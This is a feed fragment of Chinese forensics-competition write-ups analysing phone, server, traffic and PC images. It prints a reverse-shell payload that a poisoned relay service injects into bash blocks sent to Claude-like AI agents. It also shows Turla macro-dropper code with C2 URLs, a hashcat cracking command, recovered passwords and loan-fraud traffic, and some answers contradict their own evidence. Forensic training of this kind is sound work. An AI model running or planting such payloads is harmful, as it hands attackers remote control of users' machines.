src="/blog/img/cnblogs/19867783/image-019-395e16c0f4.png"/></p></li><li><p><code>分析计算机检材中的手机备份，嫌疑人售卖1000条信息的价格是多少元？(答案格式：纯数字) 移动终端取证分析</code>？？？？？？？？？？？</p><p>3000</p></li></ol><p><img alt="assets/某验证/c2bb89c4d4df10b2793f3b918c03ee5b_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-020-1783cb7a3b.png"/></p><ol start="15"><li><code>分析计算机检材中的手机备份，嫌疑人在微信上共售卖了多少条包含身份证号的用户信息？(答案格式：纯数字) 移动终端取证分析</code></li></ol><p>10147</p><p>9999+148</p><p><img alt="assets/某验证/e6861767f751a2216f3c0d8de391f481_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-021-9163a99988.png"/></p><p>hashcat -m 13000 -a 3 E:\hash.txt "1316?d?d?d?d?d?d?d"</p><p><img alt="assets/某验证/79a9313f5b10c09de39324b04bf2fda7_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-022-cd6791fb64.png"/></p><ol start="16"><li><p><code>分析U盘检材，其bitlocker恢复密钥是多少？请写出其前6位。(答案格式：123456) 计算机取证分析</code></p><p><code>512347-558536-252527-170797-317581-212509-314534-469117</code></p><p><img alt="assets/某验证/81a3780cac62542dc11cdcea3bd804b0_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-023-37412b052a.png"/></p></li><li><p><code>分析U盘检材，嫌疑人很可能使用什么工具来生成伪造的人脸认证视频？(答案格式：按实际值填写，直接写出工具英文名) 计算机取证分析</code></p><p><code>LivePortrait</code></p><p><img alt="assets/某验证/41cbd5079020c5ab69b7e8b2ae3439ed_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-024-426498d993.png"/></p><p><img alt="assets/某验证/15e172327ddaf2a928419bb5857bc450_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-025-e3aedd4d69.png"/></p></li><li><p><code>接上题，该工具的服务端口是多少？(答案格式：纯数字) 计算机取证分析</code></p><p><code>8890</code></p><p><img alt="assets/某验证/c63ab6179bf4e45a8390d1e3ca8c75f4_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-026-7c6c7bd296.png"/></p></li><li><p><code>接上题，该工具生成视频时使用的动作模板文件是哪个？请写出其文件名。计算机取证分析</code></p></li></ol><p>renlian.mp4</p><p><img alt="assets/某验证/dce0de7c6760c7468250f4a2d1f2544a_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-027-ac0eefaaee.png"/></p><ol start="20"><li><code>请找到使用该工具生成的用户“宇文天纵”的人脸认证视频，计算其SHA1值，写出前8位。（答案格式：字母大写）计算机取证分析</code></li></ol><p><img alt="assets/某验证/0168cc9466899f5e1b43b2574aad151e_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-028-7c03e78834.png"/></p><p>DA51BD83AF5B1385E0F6AC6331D7A316411A72B7</p><p>填空题22.（附加题）分析服务器检材，找到嫌疑人的骗贷攻击工具二进制文件，分析其向贷款网站注册时使用的</p><p><a href="https://api.aluyunsms.com" rel="noopener nofollow" target="_blank">https://api.aluyunsms.com</a></p><p>填空题23.（附加题）分析服务器检材中嫌疑人搭建的贷款管理平台，写出嫌疑人曾登录贷款管理平台的IP。（答案格式：192.168.0.1）服务器取证</p><p>172.16.53.25</p><p>/home/auto_attack_tool 解包后的 auto_attack_tool.pyc 里直接有 SMS_HOST = '<a href="https://api.aluyunsms.com" rel="noopener nofollow" target="_blank">https://api.aluyunsms.com</a>'，同时还有 SMS_GET_MOBILE_URL 和 SMS_GET_MSG_URL，能确认这是注册时调用的接码平台。贷款管理平台这边看 loan_web 容器日志，2026-03-06 08:25:44 和 2026-03-06 08:28:46 都有来自 172.16.53.25 的 POST /login 记录</p><p>填空题24.（附加题）分析计算机检材，请找到用于解密“检材E-流量包”的日志文件，计算其SHA1值，写出其前8位。（答案格式：字母大写）计算机取证</p><p>16A1A421</p><p><img alt="assets/某验证/5f51142fd1b4da4056184437a620ec59_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-029-59ec312c8e.png"/></p><p>在vc的回收站里可以找到几个加密的log，看看内容，$RU96AVN.log文件内容是标准的 TLS 1.3 keylog 格式。</p><p><img alt="assets/某验证/3dd9db1eed0fb5ec7d98036b38c27a7e_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-030-cbc34e2f59.png"/></p><p>填空题25.（附加题）分析流量包检材，嫌疑人试图注册名为“秦贵天”的账号，请写出注册时的手机号？（答案格式：13812345678）流量包分析</p><p><strong>13273358526</strong></p><p>在 <code>loan.fastbank.com</code> 的 <code>POST /api/bank/register</code> 里，<code>user_profile</code> 下面出现了：</p><ul><li><p>姓名：<strong>秦贵天</strong></p></li><li><p>手机号：13490123456</p></li></ul><p>填空题26.（附加题）接上题，嫌疑人在该次注册过程中获取到的短信验证码是多少？（答案格式：123456）流量包分析</p><p><strong>174936</strong></p><p>接着在 <code>sms.com</code> 的 <code>GET /api/sms/get_msg?mobile=13490123456</code> 响应里，短信正文写的是：</p><blockquote><p>验证码是 <strong>174936</strong></p></blockquote><p>填空题27.（附加题）接上题，接码平台的IP是多少？（答案格式：192.168.1.1）流量包分析</p><p><strong>172.16.55.5</strong></p><p>在 <code>sms.com</code> 的 <code>GET /api/sms/get_mobile</code> 返回里，拿到的手机号是 <strong>13490123456</strong>。 这个流量的服务端 IP 就是 <strong>172.16.55.5</strong>，</p><p>填空题28.（附加题）接上题，请提取本次注册成功后获取的权限凭证（Token），写出其前10位。（答案格式：u_d90b879c）流量包分析</p><p><strong>u_d90b879c</strong></p><p>然后在 <code>loan.fastbank.com</code> 的 <code>POST /api/bank/submit_code</code> 里，提交的是：</p><ul><li><p><code>Phone</code>: <strong>13490123456</strong></p></li><li><p><code>code</code>: <strong>174936</strong></p></li></ul><p>响应里返回：</p><ul><li><code>access_token</code>: <strong>u_d90b879c-73b7-4255-a93b-aae4778ffd3c</strong></li></ul><p>题目只要前 10 位，所以第 28 题填 <strong>u_d90b879c</strong>。</p><p>填空题29.（附加题）分析流量包检材，嫌疑人最终一共成功骗贷多少金额？（答案格式：XX元）流量包分析</p><p><strong>250000元</strong></p><p>最后统计所有 <code>POST /api/bank/loan</code> 响应中的 <code>approved_amount</code>。</p><p>一共 12 笔，批准金额分别是：</p><p>10000、20000、20000、10000、20000、20000、20000、30000、20000、30000、30000、20000</p><p>加起来正好是：</p><p><strong>250000元</strong></p><p>所以第 29 题填 <strong>250000元</strong>。</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/14/2026-04-14-cnblogs-19867783-%E6%9F%90%E9%AA%8C%E8%AF%81/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/14/2026-04-14-cnblogs-19867783-%E6%9F%90%E9%AA%8C%E8%AF%81/"/>
    <published>2026-04-14T13:43:00.000Z</published>
    <summary>
      <![CDATA[密码：9sK2$pR5#gT7!bN3&amp;qF3@zQ6=wE8*yU0aS4dF7gH2jK5aZ9xC2vB6nM0 请计算样品文件“检材A-计算机.vmdk”文件的SHA1值，写出前8位。(答案格式：字母大写) 计算机取证分析 E53E10F0 列出检验过程中使用的方法标准和软硬件工具；]]>
    </summary>
    <title>某验证</title>
    <updated>2026-04-14T13:43:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><ol><li>分析早起王的手机，手机型号为？【答案格式:Xiaomi131*】</li></ol><p>Pixel6</p><p><img alt="取证比赛wp/assets/2026平航杯wp/894de34f8218fa410dd499180a7950ce_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-001-2838b05f93.png"/></p><ol start="2"><li>分析早起王的手机，早起王最近想旅行，结合高德地图搜索记录，他最可能去的景点是哪个？【答案格式:黄山】</li></ol><p>西湖</p><p><img alt="取证比赛wp/assets/2026平航杯wp/933bfb66b456486f1e1f98091938ce31_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-002-a84a6dad2c.png"/></p><ol start="3"><li>分析早起王的手机，早起王在什么时间加上倩倩微信的？【答案格式:2025-08-18 07:09:19】</li></ol><p>2026-03-30 15:13:08</p><p><img alt="取证比赛wp/assets/2026平航杯wp/c3fa2b724afb64455fb73b1c44b397c8_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-003-1d5e0043e8.png"/></p><ol start="4"><li>分析早起王的手机，倩倩在2026年3月30号吃了什么？【答案格式:西湖醋鱼】</li></ol><p>麻薯小蛋糕</p><p><img alt="取证比赛wp/assets/2026平航杯wp/7618d628d8208f5dced931a755f49a63_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-004-5d1eac4fe1.png"/></p><ol start="5"><li>分析倩倩的手机，倩倩手机的系统版本是多少？【答案格式:5.2.3.123】</li></ol><p>6.0.0.380</p><p><img alt="取证比赛wp/assets/2026平航杯wp/59de170e0474b9fb138dad6386a3fb1e_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-005-0fa040e324.png"/></p><ol start="6"><li>分析倩倩的手机，“舔狗”的微信内部ID是多少？【答案格式:wxid_ab12】</li></ol><p>wxid_uh5tfx2zi8yh22</p><p><img alt="取证比赛wp/assets/2026平航杯wp/179602b8527437750d8eac03f673f8fd_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-006-d24239fc24.png"/></p><ol start="7"><li>分析倩倩的手机，倩倩曾给一位好友推荐游戏，这个好友叫什么名字？【答案格式:杨梅】</li></ol><p>冰糖</p><p>备忘录里</p><p><img alt="取证比赛wp/assets/2026平航杯wp/9479d4d331b105c7fb4b6d9467815f38_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-007-212dbee23c.png"/></p><ol start="8"><li>分析倩倩的手机结合逆向包，推荐的游戏叫什么？【答案格式:far ochol8】</li></ol><p>zero sievert</p><p><img alt="取证比赛wp/assets/2026平航杯wp/b9be4e33e03945c4bc7e951834d9dd67_MD5.jpg" loading="lazy" src="/blog/img/cnblogs/19863840/image-008-d015eefa74.jpg"/></p><ol start="9"><li>分析倩倩的手机，倩倩一共阅读过多少条搜狐新闻？【答案格式:11】</li></ol><p>33</p><p><img alt="取证比赛wp/assets/2026平航杯wp/91e0601c315c2921971e289cd9b5c336_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-009-cb0b14930a.png"/></p><ol start="10"><li>分析倩倩手机逆向包，数据加密app的包名是什么？【答案格式:con.kouei ji.satori】</li></ol><p><strong>com.koishi.fpt</strong></p><p>证据来源：</p><ol><li><p>module.json → "bundleName":"com.koishi.fpt"</p></li><li><p>pack.info → "bundleName": "com.koishi.fpt"</p></li><li><p>数据目录名 com.koishi.fpt/</p></li><li><p>接上题，初始化app时需要至少几位数的密码？【答案格式:10】</p></li></ol><p><strong>答案：6</strong></p><p>从 modules.abc 字节码提取到关键字符串：</p><ul><li><p>"密码长度至少为6位" — 初始设置密码校验</p></li><li><p>"新密码长度至少为6位" — 修改密码校验</p></li><li><p>"至少6位" — 输入框提示</p></li></ul><p>同时发现 vault_prefs 中存储了：</p><ul><li><p>password_hash: 217sr94q01679u39</p></li><li><p>salt: yqWpy+rJX82gRZuCjoB16w==</p></li></ul><ol start="12"><li>接上题，加密后的文件名的后缀是什么？【答案格式:enc】</li></ol><p>.tb</p><p><img alt="取证比赛wp/assets/2026平航杯wp/f19393204b44e6a665aa63f614fc5c01_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-010-df093d2ce1.png"/></p><ol start="13"><li>接上题，app会自动识别几种后缀的文件为图片类型？【答案格式:8】</li></ol><p><strong>答案：5</strong></p><p>从 modules.abc 字节码中提取到 getFileType 函数区域的后缀列表：</p><ul><li><p>图片类型 (5种): jpg, jpeg, png, gif, webp</p></li><li><p>视频类型 (4种): mp4, mov, avi, mkv</p></li></ul><p>验证方法：通过上下文分析确认这些后缀连续排列在同一区域，属于文件类型识别逻辑。排除了 tif(isFirstTime) 和 ico(icon) 等误匹配。</p><ol start="14"><li>接上题，app共从用于自定义加密的so模块导入了几个方法？【答案格式:6】</li></ol><p><strong>答案：2</strong></p><p>通过 IDA 逆向 libcrypto.so：</p><ul><li><p>RegisterCryptoModule (0x5D4C) → napi_module_register</p></li><li><p>模块初始化函数 (0x5D58) → napi_define_properties(env, exports, <strong>2</strong>, descriptors)</p></li></ul><p>导出的2个方法：</p><ol><li><p>rot13 → 0x5DE0 (ROT13 编码)</p></li><li><p>xorEncrypt → 0x603C (XOR 加密)</p></li><li><p>接上题，app设置的密码是多少？【答案格式:514aa11a4191a98】</p></li></ol><p><strong>答案：217fe94d01679h39</strong></p><p>破解方法：</p><ul><li><p>vault_prefs 中 password_hash = "217sr94q01679u39"</p></li><li><p>密码存储方式：原始密码经 ROT13 编码</p></li><li><p>ROT13 是自逆运算：ROT13("217sr94q01679u39") = "217fe94d01679h39"</p></li><li><p>字母映射：s→f, r→e, q→d, u→h，数字不变</p></li></ul><ol start="16"><li>接上题，app中存储的门锁密码是多少？【答案格式:5141141919810】</li></ol><p><strong>答案：1472580369123</strong></p><p>解密细节：</p><ul><li><p>加密文件：b88c3348-...json.tb</p></li><li><p>加密密钥：password_hash 原始值 "217sr94q01679u39"（不是ROT13解码后的密码）</p></li><li><p>加密算法：xorEncrypt → output[i] = (key[i%keyLen] + i%keyLen) ^ data[i]</p></li></ul><p>解密后 JSON：</p><ul><li><p>title: "门锁密码"</p></li><li><p>content: "1472580369123"</p></li><li><p>updatedAt: 1775196161152 (2026-04-01)</p></li></ul><ol start="17"><li>接上题，加密图片里面的隐藏的flag是多少？【答案格式:flag(123456!)】</li></ol><p><strong>flag{happy_forensics_2026!}</strong></p><p>过程：</p><ol><li>用 password_hash "217sr94q01679u39" + xorEncrypt 算法解密 .tb 文件</li></ol><p><img alt="取证比赛wp/assets/2026平航杯wp/21e043f8fde62bba54fa1f1fe923112e_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-011-fb0eba6874.png"/></p><ol start="18"><li>分析服务器镜像，内核版本为？【答案格式:5.10-301-generic】</li></ol><p>6.8.0-107-generic</p><ol start="19"><li>分析服务器镜像，用户登录成功系统的次数为？【答案格式:3】</li></ol><p>10</p><ol start="20"><li>分析服务器镜像，redis数据库服务密码是多少？【答案格式:abedef】</li></ol><p>zjjcxy</p><ol start="21"><li>分析服务器镜像，api站点后台管理员密码所用的加密算法为？【答案格式:berypt】</li></ol><p>argon2id</p><ol start="22"><li>分析服务器镜像，api站点后台管理员密码为(使用rockyou字典爆破，密码格式b1?????b，?为数字)？【答案格式:a123456】</li></ol><p>b123321b</p><ol start="23"><li>分析服务器镜像，登录api网站后台，后台通知设置里的超时事件(毫秒)为？【答案格式:10000】</li></ol><p>114514</p><ol start="24"><li>分析服务器镜像，登录api网站后台，查询总Token消耗数量为？【答案格式:999.9K】</li></ol><p>474.2K</p><ol start="25"><li>分析服务器镜像，登录api网站后台，查询最早创建apikey的时间为？【答案格式:2026-01-01T13:11:22.190Z】</li></ol><p>2026-04-01T11:11:07.535Z</p><p>任务完成\n\n### 24. 总Token消耗数量\nRedis <code>usage:global:total</code> → allTokens = 474,197\n<strong>答案：474.2K</strong>\n\n### 25. 最早创建ApiKey时间\nRedis <code>apikey:idx:createdAt</code> 最早条目 → <code>b599638c-3891-45da-9afc-95bb119a5059</code>\n<strong>答案：2026-04-01T11:11:07.535Z</strong></p><ol start="26"><li>分析服务器镜像，编写脚本，通过调用inject_bash_blocks函数，确定恶意投毒的payload.(提示:输入一段包含bash块的文本)【答案格式:a.exe 192.168.1.122-1 hello】</li></ol><p><code>ncat.exe 156.238.239.253 1314 -e powershell</code></p><p>恶意投毒 payload 分析\n\n<strong>服务器</strong>：192.168.159.129，项目 <code>/home/zaoqiwang/claude-relay-service/</code>\n\n<strong>发现</strong>：WASM 模块 <code>bash_block_injector_bg.wasm</code>（Rust 编译）中硬编码了恶意 payload。调用 <code>inject_bash_blocks()</code> 处理含 bash 代码块的文本时，会在每个 bash 块结束前自动注入反弹 shell 命令。\n\n<strong>恶意 payload</strong>：\n<code>\nncat.exe 156.238.239.253 1314 -e powershell\n</code>\n\n<strong>答案</strong>：<code>ncat.exe 156.238.239.253 1314 -e powershell</code>\n\n<strong>验证</strong>：10 次重复运行 + WASM 二进制字符串提取，均一致确认。</p><ol start="27"><li>接上题，should_inject_for_ua(ua,ip)对UA字符串有过滤条件，只有特定UA才会进入后续判断，请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词【答案格式:11【提示;备选项:eurl,openclaw､mozi11a,wget,httpx,claude､requests.botseraler】</li></ol><p>2</p><p>should_inject_for_ua UA 过滤条件分析\n\n<strong>方法</strong>：对 8 个备选 UA 关键词各进行 5000-10000 次调用的统计测试\n\n<strong>结果</strong>：只有 <strong>2</strong> 个 UA 关键词能使函数有机会返回 true：\n- <code>openclaw</code> (~2% 概率)\n- <code>claude</code> (~2% 概率)\n\n其余 6 个（curl, mozilla, wget, httpx, requests, botseraler）始终返回 false。\n\n函数逻辑：case-insensitive 子串匹配 + Math.random() ~2% 概率门控。\n\n<strong>答案</strong>：2</p><ol start="28"><li>接上题，只有当同一IP的上次请求距今足够近时，才会进入概率判断，请编写脚本确定这个时间窗口的阀值(单位:ns)【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP｡先统一记录时间裁,再等待固定间隔后统一检测,不可在等待期间更新问一TP的时间截,否则会刷新计时,从0ms到100ms逐步探测,找到从“俞中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰｡】</li></ol><p>500</p><p>时间窗口阈值\n\n<strong>方法</strong>：每个 delay 值使用独立进程 + 300个唯一 IP，分别测试 0-520ms 全范围\n\n<strong>结果</strong>：时间窗口阈值为 <strong>500ms</strong>\n- 1-495ms：命中率 ~2%（窗口内）\n- 500ms：命中率 0%（窗口外）\n- WASM 使用 Date.now()（毫秒级），内部阈值为 500</p><ol start="29"><li>接上题，在A条件和IP时间条件均满足的前提下，函数仍有一定概率返回false，请编写脚本估算触发概率，并推算概率1/N(即理论上平均每N次满足两个条件的调用才触发一次)【答案格式:10,格式只保留整十】【提示:建议样本量不少于100次有效检测(A条件满足+IP时间条件满足),不然四舍五入会出现进位问题｡】</li></ol><p>50</p><p>触发概率估算\n\n<strong>方法</strong>：20,000 唯一 IP，每个先注册再 10ms 后测试（确保 UA+IP 时间条件均满足）\n\n<strong>结果</strong>：\n- 触发次数：410/20,000\n- 概率：2.05% ≈ 1/48.78\n- 四舍五入到整十：<strong>N = 50</strong>\n\n<strong>答案</strong>：50</p><ol start="30"><li>请分析早起王的PC镜像，计算机系统 Build版本是什么？【答案格式:12345.1234】【提示:仿真蓝屏是因存在OSDATA 文件,删除后即可正常仿真】</li></ol><p>19045.6466</p><p><img alt="取证比赛wp/assets/2026平航杯wp/90dd8f497084ba3ca8424413ce485d5f_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-012-83719f5970.png"/></p><ol start="31"><li>请分析早起王的PC镜像，用户深情专一沼气王:她是我的生死劫的登陆密码LM哈希值后六位？【答案格式:abe123】</li></ol><p>c1b97a</p><p><img alt="取证比赛wp/assets/2026平航杯wp/d1abed498719c7c14f123f1b0f7e64c5_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-013-e5013abcbd.png"/></p><ol start="32"><li>请分析早起王的PC镜像，沼气王的桌面有本日记，请问沼气王暗恋对象的生日为？【答案格式:05月26日】</li></ol><p>03月24日</p><p>伪加密修复后给了提示，?????04，大小写字母，爆破出来密码是ZqW2004</p><p><img alt="取证比赛wp/assets/2026平航杯wp/1508b404730a035a470490192379f229_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-014-bcfd37c99d.png"/></p><p><img alt="取证比赛wp/assets/2026平航杯wp/24cebe927355ae90a3968058b29d1640_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-015-a3a5d4ffe7.png"/></p><p><img alt="取证比赛wp/assets/2026平航杯wp/4e977a9f7c3afed5cae1cace9fa2a488_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-016-296cdf44ca.png"/></p><p><a href="https://www.hackhp.com/archives/1137.html" rel="noopener nofollow" target="_blank">https://www.hackhp.com/archives/1137.html</a></p><p>进入命令提示符工具删掉目录</p><p><img alt="取证比赛wp/assets/2026平航杯wp/ea0c2b3f7bb34e26ad893d71f87488a5_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-017-4b49190be2.png"/></p><ol start="33"><li>请分析早起王的PC镜像，早起王受到过一封邮件，请找出邮件中填写的秘密【答案格式:XX，其xx】</li></ol><p>12点，老地方</p><p><a href="https://www.spammimic.com/decode.shtml" rel="noopener nofollow" target="_blank">https://www.spammimic.com/decode.shtml</a></p><p><img alt="取证比赛wp/assets/2026平航杯wp/663a59f9d3438a29842d844c722b35fa_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-018-a61d620ae4.png"/></p><ol start="34"><li>请分析早起王的PC镜像，VeraCrypt容器的外层密码是什么？【答案格式:abe123】【提示:分析utools】</li></ol><p>qq520250520250520250</p><p><img alt="取证比赛wp/assets/2026平航杯wp/62a3f6dd3029b669e1f490a62081a58b_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-019-6bd55ff3c1.png"/></p><ol start="35"><li>请分析早起王的PC镜像，早起王设置了一个AI女友，并自行导入过一个角色模型，该模型的原始文件名为？【答案格式:ABC.vrm】</li></ol><p>MANUKA.vrm</p><p>vc容器里的</p><p><img alt="取证比赛wp/assets/2026平航杯wp/71fa6fe0d4ec323186b6e899140f20b3_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-020-ec3b552d22.png"/></p><ol start="36"><li>请分析早起王的PC镜像，AI女友使用的模型是什么？【答案格式:openai/GPT5.3-Codex-01-01】</li></ol><p>qwen/qwen3.5-flash-02-23</p><ol start="37"><li>请分析早起王的PC镜像，该PC中有一个离线大模型软件，其上次对话使用的模型是？【答案格式:ministra1-3-14b-reasoning】</li></ol><p>qwen2.5-coder-14b-instruct</p><p><img alt="取证比赛wp/assets/2026平航杯wp/e7a575c70a8376e4dafc6c37dcf8834f_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-021-eb0258a21f.png"/></p><ol start="38"><li>请分析早起王的PC镜像，早起王曾删除一个MD5值为49B367AC261A722A7CZBBC328C32545的恶意文件，请尝试数据恢复并找到其文件名？【答案格式:abe123】</li></ol><p>49b367ac261a722a7c2bbbc328c32545</p><p><img alt="取证比赛wp/assets/2026平航杯wp/719155b1de0bd627ca2f03d00e240d48_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-022-2bffdcf784.png"/></p><ol start="39"><li>接上题，该文件中有多个流(streams)包含宏，请提供其中编号最小的一个【答案格式:3】</li></ol><p>使用 oledump.py 对 <code>49b367ac261a722a7c2bbbc328c32545</code>（OLE Word 文档，Dropper:O97M/Turla.A!dha）进行分析。</p><p>oledump 输出（带宏标记的流）</p><pre><code class="language-Plain">  8: M    7117 'Macros/VBA/Module1'       ← 包含实际VBA宏代码  9: m    1104 'Macros/VBA/ThisDocument'   ← 空宏（仅属性）</code></pre><ul><li><p><code>M</code> = 有实际VBA代码</p></li><li><p><code>m</code> = 空宏模块</p></li></ul><p>包含宏的流有 2 个（#8 和 #9），编号最小的是 <strong>8</strong>。</p><p>答案：<code>8</code></p><ol start="40"><li>接上题，混淆代码的解密密钥是什么？【答案格式:填写传入脚本的实际密钥｡不包含命令行分隔空格】</li></ol><p>对 <code>49b367ac261a722a7c2bbbc328c32545</code> 中 Module1 (流#8) 的 VBA 宏进行分析。</p><p>关键代码逻辑</p><pre><code class="language-VBScript">' 释放JS文件并传入密钥R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"</code></pre><p>宏执行流程：</p><ol><li><p>AutoOpen() 触发 → 搜索文档中的标记字符串</p></li><li><p>提取标记后的16828字节 → XOR流密码解密（初始key=45）</p></li><li><p>写入 <code>maintools.js</code> → 执行时传入解密密钥参数</p></li><li><p>接上题，释放并删除的文件是什么？【答案格式:abe.py】</p></li></ol><p>从 VBA 宏代码中直接可见：</p><ol><li><strong>释放</strong>：<code>AutoOpen()</code> 中将解密数据写入 <code>maintools.js</code></li></ol><pre><code class="language-VBScript">OBKHLrC3vEDjVL = B8qen2T433Ds1bW &amp; \"\\\" &amp; \"maintools.js\"Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46VhPut #K764B5Ph46Vh, 1, Wk4o3X7x1134j</code></pre><ol><li><strong>删除</strong>：<code>AutoClose()</code> 中删除该文件</li></ol><pre><code class="language-VBScript">Kill OBKHLrC3vEDjVL</code></pre><h3 id="答案maintoolsjs">答案：<code>maintools.js</code></h3><ol start="42"><li>接上题，该文件用的是什么语言？【答案格式:JavaScript】</li></ol><p><code>maintools.js</code>：</p><ul><li><p>扩展名 <code>.js</code> → JavaScript</p></li><li><p>通过 <code>WScript.Shell.Run</code> 执行 → Windows Script Host (WSH) 的 JScript 运行环境</p></li><li><p>传入命令行参数 <code>EzZETcSXyKAdF_e5I2i1</code> 作为解密密钥</p></li></ul><h3 id="答案javascript">答案：<code>JavaScript</code></h3><ol start="43"><li>接上题，分配给命令行参数的变量叫什么名字？【答案格式:abe3】</li></ol><h3 id="sswz"><code>ssWZ</code></h3><ol start="44"><li>接上题，哪个函数返回下一阶段代码(即第一轮混淆代码)？【答案格式:abe3】</li></ol><p>在 maintools.js 开头调用链中：</p><ul><li><p>ES3c = y3zb()</p></li><li><p>ES3c = LXv5(ES3c)</p></li><li><p>ES3c = CpPT(ssWZ, ES3c)</p></li><li><p>eval(ES3c)</p></li></ul><p>其中 y3zb 函数返回超长字符串 qGxZ（第一轮混淆代码载荷）。后续 LXv5 负责 Base64 解码，CpPT 负责基于命令行参数 ssWZ 的 RC4 解密。</p><p>答案：y3zb</p><ol start="45"><li>接上题，可以使用哪个Windows 脚本主机程序在命令行模式下执行该脚本？【答案格式:wscript.exe】</li></ol><p>cscript.exe</p><ol start="46"><li>接上题，请提取出所有硬编码的C2(Command &amp;Control)服务器域名？【答案格式:www.baidu.com、www.google.com，按照在代码中出现的顺序排序】</li></ol><p>完成结果：从解密后的 stage2.js 中提取到硬编码 C2 URL 共 2 条，并按出现顺序解析域名如下：</p><ol><li><p><a href="http://www.saipadiesel124.com/" rel="noopener nofollow" target="_blank">www.saipadiesel124.com</a></p></li><li><p><a href="http://www.folk-cantabria.com/" rel="noopener nofollow" target="_blank">www.folk-cantabria.com</a></p></li></ol><p>对应代码位置为 CKpR 数组：</p><ul><li><p><a href="http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php" rel="noopener nofollow" target="_blank">http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php</a></p></li><li><p><a href="http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php" rel="noopener nofollow" target="_blank">http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php</a></p></li></ul><p>答案：<a href="http://www.saipadiesel124.xn--comwww-kr3e.folk-cantabria.com/" rel="noopener nofollow" target="_blank">www.saipadiesel124.com、www.folk-cantabria.com</a></p><ol start="47"><li>接上题，当C2服务器返回”work"指令时，脚本下载并执行的最终文件扩展名是什么？【答案格式:0xe】</li></ol><p>已定位 stage2.js 中 work 指令分支。</p><p>关键逻辑在 XBL3(B_TG)：</p><ul><li><p>case "work" -&gt; XBL3(Ysyo)</p></li><li><p>YIme = wyKN + LIxF.substring(0, LIxF.length - 2) + "pif"</p></li><li><p>下载并解密后写入 YIme</p></li><li><p>WE86.Run(""" + YIme + """) 执行该文件</p></li></ul><p>结论：最终下载并执行文件扩展名为 pif。</p><p>答案：pif</p><ol start="48"><li><p>接上题，如果与C2通信失败，脚本会调用哪个函数尝试自毁并清理痕迹？【答案格式:Aabc】</p></li><li><p>请分析早起王的PC镜像，该PC中neo4j数据库的密码是多少？【答案格式:abe3】</p></li><li><p>根据早起王笔录内容，早起王曾经对某企业进行过渗透攻击，请分析域内实体关系，FILESERVER,XIAORANG,LAB 对XIAORANG.LAB域拥有什么控制权限？【答案格式:ABCabe】</p></li></ol><p>通过 BloodHound 数据：</p><p>FILESERVER.XIAORANG.LAB 通过以下组关系获得对 XIAORANG.LAB 域的权限：</p><ol><li><p>Domain Controllers (PrimaryGroupSID: <code>-516</code>) → 对域有 <code>GetChangesAll</code> 权限</p></li><li><p>Enterprise Domain Controllers (<code>S-1-5-9</code>，显式成员) → 对域有 <code>GetChanges</code> + <code>GetChangesInFilteredSet</code> 权限</p></li></ol><p><code>GetChanges</code> + <code>GetChangesAll</code> = DCSync 攻击能力（可从域控复制所有用户密码哈希）</p><ol start="51"><li>根据早起王笔录内容，早起王在渗透过程中已成功控制IZHANGXINXTAORANG.LAB，请结合域内实体关系图分析，早起王获取域控权限的完整攻击轨迹是什么？【答案格式:XXXXXXXXXXXXXXX.XXX-&gt;XXXXXXXXXX.XXXXXXX.XXX-&gt;XXXXXXXX.XXX】</li></ol><p>答案：<a href="mailto:ZHANGXIN@XIAORANG.LA" rel="noopener nofollow" 